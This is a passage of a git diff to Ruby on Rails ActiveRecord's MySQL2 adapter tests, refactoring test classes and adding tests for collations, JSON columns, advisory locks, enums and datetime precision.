self.use_transactional_tests = false - - class UnsignedType < ActiveRecord::Base - end - - setup do - @connection = ActiveRecord::Base.connection - @connection.create_table("unsigned_types", force: true) do |t| - t.column :unsigned_integer, "int unsigned" - end - end - - teardown do - @connection.drop_table "unsigned_types" - end - - test "unsigned int max value is in range" do - assert expected = UnsignedType.create(unsigned_integer: 4294967295) - assert_equal expected, UnsignedType.find_by(unsigned_integer: 4294967295) - end - - test "minus value is out of range" do - assert_raise(RangeError) do - UnsignedType.create(unsigned_integer: -10) - end - end -end diff --git a/activerecord/test/cases/adapters/mysql2/active_schema_test.rb b/activerecord/test/cases/adapters/mysql2/active_schema_test.rb index e87cd3886a..95d1f6b8a3 100644 --- a/activerecord/test/cases/adapters/mysql2/active_schema_test.rb +++ b/activerecord/test/cases/adapters/mysql2/active_schema_test.rb @@ -1,7 +1,7 @@ require "cases/helper" require 'support/connection_helper' -class ActiveSchemaTest < ActiveRecord::TestCase +class Mysql2ActiveSchemaTest < ActiveRecord::Mysql2TestCase include ConnectionHelper def setup @@ -16,8 +16,8 @@ class ActiveSchemaTest < ActiveRecord::TestCase end def test_add_index - # add_index calls table_exists? and index_name_exists? which can't work since execute is stubbed - def (ActiveRecord::Base.connection).table_exists?(*); true; end + # add_index calls data_source_exists? and index_name_exists? which can't work since execute is stubbed + def (ActiveRecord::Base.connection).data_source_exists?(*); true; end def (ActiveRecord::Base.connection).index_name_exists?(*); false; end expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`) " @@ -59,21 +59,56 @@ class ActiveSchemaTest < ActiveRecord::TestCase assert_equal expected, add_index(:people, [:last_name, :first_name], :length => 15, :using => :btree) end - def test_drop_table - assert_equal "DROP TABLE `people`", drop_table(:people) + def test_index_in_create + def (ActiveRecord::Base.connection).data_source_exists?(*); false; end + + %w(SPATIAL FULLTEXT UNIQUE).each do |type| + expected = "CREATE TABLE `people` (#{type} INDEX `index_people_on_last_name` (`last_name`)) ENGINE=InnoDB" + actual = ActiveRecord::Base.connection.create_table(:people, id: false) do |t| + t.index :last_name, type: type + end + assert_equal expected, actual + end + + expected = "CREATE TABLE `people` ( INDEX `index_people_on_last_name` USING btree (`last_name`(10))) ENGINE=InnoDB" + actual = ActiveRecord::Base.connection.create_table(:people, id: false) do |t| + t.index :last_name, length: 10, using: :btree + end + assert_equal expected, actual end - if current_adapter?(:Mysql2Adapter) - def test_create_mysql_database_with_encoding - assert_equal "CREATE DATABASE `matt` DEFAULT CHARACTER SET `utf8`", create_database(:matt) - assert_equal "CREATE DATABASE `aimonetti` DEFAULT CHARACTER SET `latin1`", create_database(:aimonetti, {:charset => 'latin1'}) - assert_equal "CREATE DATABASE `matt_aimonetti` DEFAULT CHARACTER SET `big5` COLLATE `big5_chinese_ci`", create_database(:matt_aimonetti, {:charset => :big5, :collation => :big5_chinese_ci}) + def test_index_in_bulk_change + def (ActiveRecord::Base.connection).data_source_exists?(*); true; end + def (ActiveRecord::Base.connection).index_name_exists?(*); false; end + + %w(SPATIAL FULLTEXT UNIQUE).each do |type| + expected = "ALTER TABLE `people` ADD #{type} INDEX `index_people_on_last_name` (`last_name`)" + actual = ActiveRecord::Base.connection.change_table(:people, bulk: true) do |t| + t.index :last_name, type: type + end + assert_equal expected, actual end - def test_recreate_mysql_database_with_encoding - create_database(:luca, {:charset => 'latin1'}) - assert_equal "CREATE DATABASE `luca` DEFAULT CHARACTER SET `latin1`", recreate_database(:luca, {:charset => 'latin1'}) + expected = "ALTER TABLE `peaple` ADD INDEX `index_peaple_on_last_name` USING btree (`last_name`(10)), ALGORITHM = COPY" + actual = ActiveRecord::Base.connection.change_table(:peaple, bulk: true) do |t| + t.index :last_name, length: 10, using: :btree, algorithm: :copy end + assert_equal expected, actual + end + + def test_drop_table + assert_equal "DROP TABLE `people`", drop_table(:people) + end + + def test_create_mysql_database_with_encoding + assert_equal "CREATE DATABASE `matt` DEFAULT CHARACTER SET `utf8`", create_database(:matt) + assert_equal "CREATE DATABASE `aimonetti` DEFAULT CHARACTER SET `latin1`", create_database(:aimonetti, {:charset => 'latin1'}) + assert_equal "CREATE DATABASE `matt_aimonetti` DEFAULT CHARACTER SET `big5` COLLATE `big5_chinese_ci`", create_database(:matt_aimonetti, {:charset => :big5, :collation => :big5_chinese_ci}) + end + + def test_recreate_mysql_database_with_encoding + create_database(:luca, {:charset => 'latin1'}) + assert_equal "CREATE DATABASE `luca` DEFAULT CHARACTER SET `latin1`", recreate_database(:luca, {:charset => 'latin1'}) end def test_add_column @@ -117,10 +152,10 @@ class ActiveSchemaTest < ActiveRecord::TestCase end def test_indexes_in_create - ActiveRecord::Base.connection.stubs(:table_exists?).with(:temp).returns(false) + ActiveRecord::Base.connection.stubs(:data_source_exists?).with(:temp).returns(false) ActiveRecord::Base.connection.stubs(:index_name_exists?).with(:index_temp_on_zip).returns(false) - expected = "CREATE TEMPORARY TABLE `temp` ( INDEX `index_temp_on_zip` (`zip`) ) ENGINE=InnoDB AS SELECT id, name, zip FROM a_really_complicated_query" + expected = "CREATE TEMPORARY TABLE `temp` ( INDEX `index_temp_on_zip` (`zip`)) ENGINE=InnoDB AS SELECT id, name, zip FROM a_really_complicated_query" actual = ActiveRecord::Base.connection.create_table(:temp, temporary: true, as: "SELECT id, name, zip FROM a_really_complicated_query") do |t| t.index :zip end diff --git a/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb b/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb index 5e8065d80d..abdf3dbf5b 100644 --- a/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb +++ b/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb @@ -4,7 +4,7 @@ require 'models/topic' module ActiveRecord module ConnectionAdapters class Mysql2Adapter - class BindParameterTest < ActiveRecord::TestCase + class BindParameterTest < ActiveRecord::Mysql2TestCase fixtures :topics def test_update_question_marks diff --git a/activerecord/test/cases/adapters/mysql2/boolean_test.rb b/activerecord/test/cases/adapters/mysql2/boolean_test.rb index 0d81dd6eee..739bb275ce 100644 --- a/activerecord/test/cases/adapters/mysql2/boolean_test.rb +++ b/activerecord/test/cases/adapters/mysql2/boolean_test.rb @@ -1,6 +1,6 @@ require "cases/helper" -class Mysql2BooleanTest < ActiveRecord::TestCase +class Mysql2BooleanTest < ActiveRecord::Mysql2TestCase self.use_transactional_tests = false class BooleanType < ActiveRecord::Base @@ -43,11 +43,16 @@ class Mysql2BooleanTest < ActiveRecord::TestCase boolean = BooleanType.create!(archived: true, published: true) attributes = boolean.reload.attributes_before_type_cast - assert_equal 1, attributes["archived"] assert_equal "1", attributes["published"] + boolean = BooleanType.create!(archived: false, published: false) + attributes = boolean.reload.attributes_before_type_cast + assert_equal 0, attributes["archived"] + assert_equal "0", attributes["published"] + assert_equal 1, @connection.type_cast(true) + assert_equal 0, @connection.type_cast(false) end test "test type casting without emulated booleans" do @@ -55,11 +60,16 @@ class Mysql2BooleanTest < ActiveRecord::TestCase boolean = BooleanType.create!(archived: true, published: true) attributes = boolean.reload.attributes_before_type_cast - assert_equal 1, attributes["archived"] assert_equal "1", attributes["published"] + boolean = BooleanType.create!(archived: false, published: false) + attributes = boolean.reload.attributes_before_type_cast + assert_equal 0, attributes["archived"] + assert_equal "0", attributes["published"] + assert_equal 1, @connection.type_cast(true) + assert_equal 0, @connection.type_cast(false) end test "with booleans stored as 1 and 0" do diff --git a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb index 09bebf3071..9cb05119a2 100644 --- a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb +++ b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb @@ -1,7 +1,6 @@ require "cases/helper" -require 'models/person' -class Mysql2CaseSensitivityTest < ActiveRecord::TestCase +class Mysql2CaseSensitivityTest < ActiveRecord::Mysql2TestCase class CollationTest < ActiveRecord::Base end @@ -52,4 +51,13 @@ class Mysql2CaseSensitivityTest < ActiveRecord::TestCase cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) } assert_no_match(/binary/i, cs_uniqueness_query) end + + def test_case_sensitive_comparison_for_binary_column + CollationTest.validates_uniqueness_of(:binary_column, case_sensitive: true) + CollationTest.create!(binary_column: 'A') + invalid = CollationTest.new(binary_column: 'A') + queries = assert_sql { invalid.save } + bin_uniqueness_query = queries.detect { |q| q.match(/binary_column/) } + assert_no_match(/\bBINARY\b/, bin_uniqueness_query) + end end diff --git a/activerecord/test/cases/adapters/mysql2/charset_collation_test.rb b/activerecord/test/cases/adapters/mysql2/charset_collation_test.rb new file mode 100644 index 0000000000..668c07dacb --- /dev/null +++ b/activerecord/test/cases/adapters/mysql2/charset_collation_test.rb @@ -0,0 +1,54 @@ +require "cases/helper" +require 'support/schema_dumping_helper' + +class Mysql2CharsetCollationTest < ActiveRecord::Mysql2TestCase + include SchemaDumpingHelper + self.use_transactional_tests = false + + setup do + @connection = ActiveRecord::Base.connection + @connection.create_table :charset_collations, force: true do |t| + t.string :string_ascii_bin, charset: 'ascii', collation: 'ascii_bin' + t.text :text_ucs2_unicode_ci, charset: 'ucs2', collation: 'ucs2_unicode_ci' + end + end + + teardown do + @connection.drop_table :charset_collations, if_exists: true + end + + test "string column with charset and collation" do + column = @connection.columns(:charset_collations).find { |c| c.name == 'string_ascii_bin' } + assert_equal :string, column.type + assert_equal 'ascii_bin', column.collation + end + + test "text column with charset and collation" do + column = @connection.columns(:charset_collations).find { |c| c.name == 'text_ucs2_unicode_ci' } + assert_equal :text, column.type + assert_equal 'ucs2_unicode_ci', column.collation + end + + test "add column with charset and collation" do + @connection.add_column :charset_collations, :title, :string, charset: 'utf8', collation: 'utf8_bin' + + column = @connection.columns(:charset_collations).find { |c| c.name == 'title' } + assert_equal :string, column.type + assert_equal 'utf8_bin', column.collation + end + + test "change column with charset and collation" do + @connection.add_column :charset_collations, :description, :string, charset: 'utf8', collation: 'utf8_unicode_ci' + @connection.change_column :charset_collations, :description, :text, charset: 'utf8', collation: 'utf8_general_ci' + + column = @connection.columns(:charset_collations).find { |c| c.name == 'description' } + assert_equal :text, column.type + assert_equal 'utf8_general_ci', column.collation + end + + test "schema dump includes collation" do + output = dump_table_schema("charset_collations") + assert_match %r{t.string\s+"string_ascii_bin",\s+collation: "ascii_bin"$}, output + assert_match %r{t.text\s+"text_ucs2_unicode_ci",\s+limit: 65535,\s+collation: "ucs2_unicode_ci"$}, output + end +end diff --git a/activerecord/test/cases/adapters/mysql2/connection_test.rb b/activerecord/test/cases/adapters/mysql2/connection_test.rb index a8b39b21d4..fe610ae951 100644 --- a/activerecord/test/cases/adapters/mysql2/connection_test.rb +++ b/activerecord/test/cases/adapters/mysql2/connection_test.rb @@ -1,7 +1,7 @@ require "cases/helper" require 'support/connection_helper' -class MysqlConnectionTest < ActiveRecord::TestCase +class Mysql2ConnectionTest < ActiveRecord::Mysql2TestCase include ConnectionHelper fixtures :comments @@ -68,35 +68,55 @@ class MysqlConnectionTest < ActiveRecord::TestCase assert_equal 'utf8_general_ci', ARUnit2Model.connection.show_variable('collation_connection') end - # TODO: Below is a straight up copy/paste from mysql/connection_test.rb - # I'm not sure what the correct way is to share these tests between - # adapters in minitest. def test_mysql_default_in_strict_mode - result = @connection.exec_query "SELECT @@SESSION.sql_mode" - assert_equal [["STRICT_ALL_TABLES"]], result.rows + result = @connection.select_value("SELECT @@SESSION.sql_mode") + assert_match %r(STRICT_ALL_TABLES), result end def test_mysql_strict_mode_disabled run_without_connection do |orig_connection| - ActiveRecord::Base.establish_connection(orig_connection.merge({:strict => false})) - result = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.sql_mode" - assert_equal [['']], result.rows + ActiveRecord::Base.establish_connection(orig_connection.merge(strict: false)) + result = ActiveRecord::Base.connection.select_value("SELECT @@SESSION.sql_mode") + assert_no_match %r(STRICT_ALL_TABLES), result end end - def test_mysql_set_session_variable + def test_mysql_strict_mode_specified_default run_without_connection do |orig_connection| - ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => 3}})) - session_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.DEFAULT_WEEK_FORMAT" - assert_equal 3, session_mode.rows.first.first.to_i + ActiveRecord::Base.establish_connection(orig_connection.merge(strict: :default)) + global_sql_mode = ActiveRecord::Base.connection.select_value("SELECT @@GLOBAL.sql_mode") + session_sql_mode = ActiveRecord::Base.connection.select_value("SELECT @@SESSION.sql_mode") + assert_equal global_sql_mode, session_sql_mode end end def test_mysql_sql_mode_variable_overrides_strict_mode run_without_connection do |orig_connection| ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { 'sql_mode' => 'ansi' })) - result = ActiveRecord::Base.connection.exec_query 'SELECT @@SESSION.sql_mode' - assert_not_equal [['STRICT_ALL_TABLES']], result.rows + result = ActiveRecord::Base.connection.select_value('SELECT @@SESSION.sql_mode') + assert_no_match %r(STRICT_ALL_TABLES), result + end + end + + def test_passing_arbitary_flags_to_adapter + run_without_connection do |orig_connection| + ActiveRecord::Base.establish_connection(orig_connection.merge({flags: Mysql2::Client::COMPRESS})) + assert_equal (Mysql2::Client::COMPRESS | Mysql2::Client::FOUND_ROWS), ActiveRecord::Base.connection.raw_connection.query_options[:flags] + end + end + + def test_passing_flags_by_array_to_adapter + run_without_connection do |orig_connection| + ActiveRecord::Base.establish_connection(orig_connection.merge({flags: ['COMPRESS'] })) + assert_equal ["COMPRESS", "FOUND_ROWS"], ActiveRecord::Base.connection.raw_connection.query_options[:flags] + end + end + + def test_mysql_set_session_variable + run_without_connection do |orig_connection| + ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => 3}})) + session_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.DEFAULT_WEEK_FORMAT" + assert_equal 3, session_mode.rows.first.first.to_i end end @@ -122,4 +142,32 @@ class MysqlConnectionTest < ActiveRecord::TestCase ensure @connection.execute "DROP TABLE `bar_baz`" end + + def test_get_and_release_advisory_lock + lock_name = "test lock'n'name" + + got_lock = @connection.get_advisory_lock(lock_name) + assert got_lock, "get_advisory_lock should have returned true but it didn't" + + assert_equal test_lock_free(lock_name), false, + "expected the test advisory lock to be held but it wasn't" + + released_lock = @connection.release_advisory_lock(lock_name) + assert released_lock, "expected release_advisory_lock to return true but it didn't" + + assert test_lock_free(lock_name), 'expected the test lock to be available after releasing' + end + + def test_release_non_existent_advisory_lock + lock_name = "fake lock'n'name" + released_non_existent_lock = @connection.release_advisory_lock(lock_name) + assert_equal released_non_existent_lock, false, + 'expected release_advisory_lock to return false when there was no lock to release' + end + + protected + + def test_lock_free(lock_name) + @connection.select_value("SELECT IS_FREE_LOCK(#{@connection.quote(lock_name)})") == 1 + end end diff --git a/activerecord/test/cases/adapters/mysql2/datetime_precision_quoting_test.rb b/activerecord/test/cases/adapters/mysql2/datetime_precision_quoting_test.rb new file mode 100644 index 0000000000..e349c67c93 --- /dev/null +++ b/activerecord/test/cases/adapters/mysql2/datetime_precision_quoting_test.rb @@ -0,0 +1,45 @@ +require "cases/helper" + +class Mysql2DatetimePrecisionQuotingTest < ActiveRecord::Mysql2TestCase + setup do + @connection = ActiveRecord::Base.connection + end + + test 'microsecond precision for MySQL gte 5.6.4' do + stub_version '5.6.4' + assert_microsecond_precision + end + + test 'no microsecond precision for MySQL lt 5.6.4' do + stub_version '5.6.3' + assert_no_microsecond_precision + end + + test 'microsecond precision for MariaDB gte 5.3.0' do + stub_version '5.5.5-10.1.8-MariaDB-log' + assert_microsecond_precision + end + + test 'no microsecond precision for MariaDB lt 5.3.0' do + stub_version '5.2.9-MariaDB' + assert_no_microsecond_precision + end + + private + def assert_microsecond_precision + assert_match_quoted_microsecond_datetime(/\.000001\z/) + end + + def assert_no_microsecond_precision + assert_match_quoted_microsecond_datetime(/\d\z/) + end + + def assert_match_quoted_microsecond_datetime(match) + assert_match match, @connection.quoted_date(Time.now.change(usec: 1)) + end + + def stub_version(full_version_string) + @connection.stubs(:full_version).returns(full_version_string) + @connection.remove_instance_variable(:@version) if @connection.instance_variable_defined?(:@version) + end +end diff --git a/activerecord/test/cases/adapters/mysql2/enum_test.rb b/activerecord/test/cases/adapters/mysql2/enum_test.rb index 6dd9a5ec87..35dbc76d1b 100644 --- a/activerecord/test/cases/adapters/mysql2/enum_test.rb +++ b/activerecord/test/cases/adapters/mysql2/enum_test.rb @@ -1,10 +1,26 @@ require "cases/helper" -class Mysql2EnumTest < ActiveRecord::TestCase +class Mysql2EnumTest < ActiveRecord::Mysql2TestCase class EnumTest < ActiveRecord::Base end def test_enum_limit - assert_equal 6, EnumTest.columns.first.limit + column = EnumTest.columns_hash['enum_column'] + assert_equal 8, column.limit + end + + def test_should_not_be_blob_or_text_column + column = EnumTest.columns_hash['enum_column'] + assert_not column.blob_or_text_column? + end + + def test_should_not_be_unsigned + column = EnumTest.columns_hash['enum_column'] + assert_not column.unsigned? + end + + def test_should_not_be_bigint + column = EnumTest.columns_hash['enum_column'] + assert_not column.bigint? end end diff --git a/activerecord/test/cases/adapters/mysql2/explain_test.rb b/activerecord/test/cases/adapters/mysql2/explain_test.rb index 2b01d941b8..b783b5fcd9 100644 --- a/activerecord/test/cases/adapters/mysql2/explain_test.rb +++ b/activerecord/test/cases/adapters/mysql2/explain_test.rb @@ -2,26 +2,20 @@ require "cases/helper" require 'models/developer' require 'models/computer' -module ActiveRecord - module ConnectionAdapters - class Mysql2Adapter - class ExplainTest < ActiveRecord::TestCase - fixtures :developers +class Mysql2ExplainTest < ActiveRecord::Mysql2TestCase + fixtures :developers - def test_explain_for_one_query - explain = Developer.where(:id => 1).explain - assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain - assert_match %r(developers |.* const), explain - end + def test_explain_for_one_query + explain = Developer.where(id: 1).explain + assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain + assert_match %r(developers |.* const), explain + end - def test_explain_with_eager_loading - explain = Developer.where(:id => 1).includes(:audit_logs).explain - assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain - assert_match %r(developers |.* const), explain - assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs` WHERE `audit_logs`.`developer_id` = 1), explain - assert_match %r(audit_logs |.* ALL), explain - end - end - end + def test_explain_with_eager_loading + explain = Developer.where(id: 1).includes(:audit_logs).explain + assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain + assert_match %r(developers |.* const), explain + assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs` WHERE `audit_logs`.`developer_id` = 1), explain + assert_match %r(audit_logs |.* ALL), explain end end diff --git a/activerecord/test/cases/adapters/mysql2/json_test.rb b/activerecord/test/cases/adapters/mysql2/json_test.rb new file mode 100644 index 0000000000..9c3fef1b59 --- /dev/null +++ b/activerecord/test/cases/adapters/mysql2/json_test.rb @@ -0,0 +1,179 @@ +require 'cases/helper' +require 'support/schema_dumping_helper' + +if ActiveRecord::Base.connection.supports_json? +class Mysql2JSONTest < ActiveRecord::Mysql2TestCase + include SchemaDumpingHelper + self.use_transactional_tests = false + + class JsonDataType < ActiveRecord::Base + self.table_name = 'json_data_type' + + store_accessor :settings, :resolution + end + + def setup + @connection = ActiveRecord::Base.connection + begin + @connection.create_table('json_data_type') do |t| + t.json 'payload' + t.json 'settings' + end + end + end + + def teardown + @connection.drop_table :json_data_type, if_exists: true + JsonDataType.reset_column_information + end + + def test_column + column = JsonDataType.columns_hash["payload"] + assert_equal :json, column.type + assert_equal 'json', column.sql_type + + type = JsonDataType.type_for_attribute("payload") + assert_not type.binary? + end + + def test_change_table_supports_json + @connection.change_table('json_data_type') do |t| + t.json 'users' + end + JsonDataType.reset_column_information + column = JsonDataType.columns_hash['users'] + assert_equal :json, column.type + end + + def test_schema_dumping + output = dump_table_schema("json_data_type") + assert_match(/t\.json\s+"settings"/, output) + end + + def test_cast_value_on_write + x = JsonDataType.new payload: {"string" => "foo", :symbol => :bar} + assert_equal({"string" => "foo", :symbol => :bar}, x.payload_before_type_cast) + assert_equal({"string" => "foo", "symbol" => "bar"}, x.payload) + x.save + assert_equal({"string" => "foo", "symbol" => "bar"}, x.reload.payload) + end + + def test_type_cast_json + type = JsonDataType.type_for_attribute("payload") + + data = "{\"a_key\":\"a_value\"}" + hash = type.deserialize(data) + assert_equal({'a_key' => 'a_value'}, hash) + assert_equal({'a_key' => 'a_value'}, type.deserialize(data)) + + assert_equal({}, type.deserialize("{}")) + assert_equal({'key'=>nil}, type.deserialize('{"key": null}')) + assert_equal({'c'=>'}','"a"'=>'b "a b'}, type.deserialize(%q({"c":"}", "\"a\"":"b \"a b"}))) + end + + def test_rewrite + @connection.execute "insert into json_data_type (payload) VALUES ('{\"k\":\"v\"}')" + x = JsonDataType.first + x.payload = { '"a\'' => 'b' } + assert x.save! + end + + def test_select + @connection.execute "insert into json_data_type (payload) VALUES ('{\"k\":\"v\"}')" + x = JsonDataType.first + assert_equal({'k' => 'v'}, x.payload) + end + + def test_select_multikey + @connection.execute %q|insert into json_data_type (payload) VALUES ('{"k1":"v1", "k2":"v2", "k3":[1,2,3]}')| + x = JsonDataType.first + assert_equal({'k1' => 'v1', 'k2' => 'v2', 'k3' => [1,2,3]}, x.payload) + end + + def test_null_json + @connection.execute %q|insert into json_data_type (payload) VALUES(null)| + x = JsonDataType.first + assert_equal(nil, x.payload) + end + + def test_select_array_json_value + @connection.execute %q|insert into json_data_type (payload) VALUES ('["v0",{"k1":"v1"}]')| + x = JsonDataType.first + assert_equal(['v0', {'k1' => 'v1'}], x.payload) + end + + def test_rewrite_array_json_value + @connection.execute %q|insert into json_data_type (payload) VALUES ('["v0",{"k1":"v1"}]')| + x = JsonDataType.first + x.payload = ['v1', {'k2' => 'v2'}, 'v3'] + assert x.save! + end + + def test_with_store_accessors + x = JsonDataType.new(resolution: "320×480") + assert_equal "320×480", x.resolution + + x.save! + x = JsonDataType.first + assert_equal "320×480", x.resolution + + x.resolution = "640×1136" + x.save! + + x = JsonDataType.first + assert_equal "640×1136", x.resolution + end + + def test_duplication_with_store_accessors + x = JsonDataType.new(resolution: "320×480") + assert_equal "320×480", x.resolution + + y = x.dup + assert_equal "320×480", y.resolution + end + + def test_yaml_round_trip_with_store_accessors + x = JsonDataType.new(resolution: "320×480") + assert_equal "320×480", x.resolution + + y = YAML.load(YAML.dump(x)) + assert_equal "320×480", y.resolution + end + + def test_changes_in_place + json = JsonDataType.new + assert_not json.changed? + + json.payload = { 'one' => 'two' } + assert json.changed? + assert json.payload_changed? + + json.save! + assert_not json.changed? + + json.payload['three'] = 'four' + assert json.payload_changed? + + json.save! + json.reload + + assert_equal({ 'one' => 'two', 'three' => 'four' }, json.payload) + assert_not json.changed? + end + + def test_assigning_string_literal + json = JsonDataType.create(payload: "foo") + assert_equal "foo", json.payload + end + + def test_assigning_number + json = JsonDataType.create(payload: 1.234) + assert_equal 1.234, json.payload + end + + def test_assigning_boolean + json = JsonDataType.create(payload: true) + assert_equal true, json.payload + end +end +end diff --git a/activerecord/test/cases/adapters/mysql2/mysql2_adapter_test.rb b/activerecord/test/cases/adapters/mysql2/mysql2_adapter_test.rb new file mode 100644 index 0000000000..61dd0828d0 --- /dev/null +++ b/activerecord/test/cases/adapters/mysql2/mysql2_adapter_test.rb @@ -0,0 +1,73 @@ +require "cases/helper" +require "support/ddl_helper" + +class Mysql2AdapterTest < ActiveRecord::Mysql2TestCase + include DdlHelper + + def setup + @conn = ActiveRecord::Base.connection + end + + def test_exec_query_nothing_raises_with_no_result_queries + assert_nothing_raised do + with_example_table do + @conn.exec_query('INSERT INTO ex (number) VALUES (1)') + @conn.exec_query('DELETE FROM ex WHERE number = 1') + end + end + end + + def test_valid_column + with_example_table do + column = @conn.columns('ex').find { |col| col.name == 'id' } + assert @conn.valid_type?(column.type) + end + end + + def test_invalid_column + assert_not @conn.valid_type?(:foobar) + end + + def test_columns_for_distinct_zero_orders + assert_equal "posts.id", + @conn.columns_for_distinct("posts.id", []) + end + + def test_columns_for_distinct_one_order + assert_equal "posts.id, posts.created_at AS alias_0", + @conn.columns_for_distinct("posts.id", ["posts.created_at desc"]) + end + + def test_columns_for_distinct_few_orders + assert_equal "posts.id, posts.created_at AS alias_0, posts.position AS alias_1", + @conn.columns_for_distinct("posts.id", ["posts.created_at desc", "posts.position asc"]) + end + + def test_columns_for_distinct_with_case + assert_equal( + 'posts.id, CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END AS alias_0', + @conn.columns_for_distinct('posts.id', + ["CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END"]) + ) + end + + def test_columns_for_distinct_blank_not_nil_orders + assert_equal "posts.id, posts.created_at AS alias_0", + @conn.columns_for_distinct("posts.id", ["posts.created_at desc", "", " "]) + end + + def test_columns_for_distinct_with_arel_order + order = Object.new + def order.to_sql + "posts.created_at desc" + end + assert_equal "posts.id, posts.created_at AS alias_0", + @conn.columns_for_distinct("posts.id", [order]) + end + + private + + def with_example_table(definition = 'id int auto_increment primary key, number int, data varchar(255)', &block) + super(@conn, 'ex', definition, &block) + end +end diff --git a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb index 799e60a683..ffb4e2c5cf 100644 --- a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb +++ b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb @@ -1,29 +1,29 @@ require "cases/helper" -class Group < ActiveRecord::Base - Group.table_name = 'group' - belongs_to :select - has_one :values -end +# a suite of tests to ensure the ConnectionAdapters#MysqlAdapter can handle tables with +# reserved word names (ie: group, order, values, etc...) +class Mysql2ReservedWordTest < ActiveRecord::Mysql2TestCase + class Group < ActiveRecord::Base + Group.table_name = 'group' + belongs_to :select + has_one :values + end -class Select < ActiveRecord::Base - Select.table_name = 'select' - has_many :groups -end + class Select < ActiveRecord::Base + Select.table_name = 'select' + has_many :groups + end -class Values < ActiveRecord::Base - Values.table_name = 'values' -end + class Values < ActiveRecord::Base + Values.table_name = 'values' + end -class Distinct < ActiveRecord::Base - Distinct.table_name = 'distinct' - has_and_belongs_to_many :selects - has_many :values, :through => :groups -end + class Distinct < ActiveRecord::Base + Distinct.table_name = 'distinct' + has_and_belongs_to_many :selects + has_many :values, :through => :groups + end -# a suite of tests to ensure the ConnectionAdapters#MysqlAdapter can handle tables with -# reserved word names (ie: group, order, values, etc...) -class MysqlReservedWordTest < ActiveRecord::TestCase def setup @connection = ActiveRecord::Base.connection diff --git a/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb index 417ccf6d11..7c89fda582 100644 --- a/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb +++ b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb @@ -1,47 +1,59 @@ require "cases/helper" -module ActiveRecord - module ConnectionAdapters - class AbstractMysqlAdapter - class SchemaMigrationsTest < ActiveRecord::TestCase - def test_renaming_index_on_foreign_key - connection.add_index "engines", "car_id" - connection.add_foreign_key :engines, :cars, name: "fk_engines_cars" - - connection.rename_index("engines", "index_engines_on_car_id", "idx_renamed") - assert_equal ["idx_renamed"], connection.indexes("engines").map(&:name) - ensure - connection.remove_foreign_key :engines, name: "fk_engines_cars" - end - - def test_initializes_schema_migrations_for_encoding_utf8mb4 - smtn = ActiveRecord::Migrator.schema_migrations_table_name - connection.drop_table smtn, if_exists: true - - database_name = connection.current_database - database_info = connection.select_one("SELECT * FROM information_schema.schemata WHERE schema_name = '#{database_name}'") - - original_charset = database_info["DEFAULT_CHARACTER_SET_NAME"] - original_collation = database_info["DEFAULT_COLLATION_NAME"] - - execute("ALTER DATABASE #{database_name} DEFAULT CHARACTER SET utf8mb4") - - connection.initialize_schema_migrations_table - - assert connection.column_exists?(smtn, :version, :string, limit: AbstractMysqlAdapter::MAX_INDEX_LENGTH_FOR_CHARSETS_OF_4BYTES_MAXLEN) - ensure - execute("ALTER DATABASE #{database_name} DEFAULT CHARACTER SET #{original_charset} COLLATE #{original_collation}") - end - - private - def connection - @connection ||= ActiveRecord::Base.connection - end - - def execute(sql) - connection.execute(sql) - end - end +class SchemaMigrationsTest < ActiveRecord::Mysql2TestCase + def test_renaming_index_on_foreign_key + connection.add_index "engines", "car_id" + connection.add_foreign_key :engines, :cars, name: "fk_engines_cars" + + connection.rename_index("engines", "index_engines_on_car_id", "idx_renamed") + assert_equal ["idx_renamed"], connection.indexes("engines").map(&:name) + ensure + connection.remove_foreign_key :engines, name: "fk_engines_cars" + end + + def test_initializes_schema_migrations_for_encoding_utf8mb4 + with_encoding_utf8mb4 do + table_name = ActiveRecord::SchemaMigration.table_name + connection.drop_table table_name, if_exists: true + + connection.initialize_schema_migrations_table + + assert connection.column_exists?(table_name, :version, :string, collation: 'utf8_general_ci') + end + end + + def test_initializes_internal_metadata_for_encoding_utf8mb4 + with_encoding_utf8mb4 do + table_name = ActiveRecord::InternalMetadata.table_name + connection.drop_table table_name, if_exists: true + + connection.initialize_internal_metadata_table + + assert connection.column_exists?(table_name, :key, :string, collation: 'utf8_general_ci') end end + + private + + def with_encoding_utf8mb4 + database_name = connection.current_database + database_info = connection.select_one("SELECT * FROM information_schema.schemata WHERE schema_name = '#{database_name}'") + + original_charset = database_info["DEFAULT_CHARACTER_SET_NAME"] + original_collation = database_info["DEFAULT_COLLATION_NAME"] + + execute("ALTER DATABASE #{database_name} DEFAULT CHARACTER SET utf8mb4") + + yield + ensure + 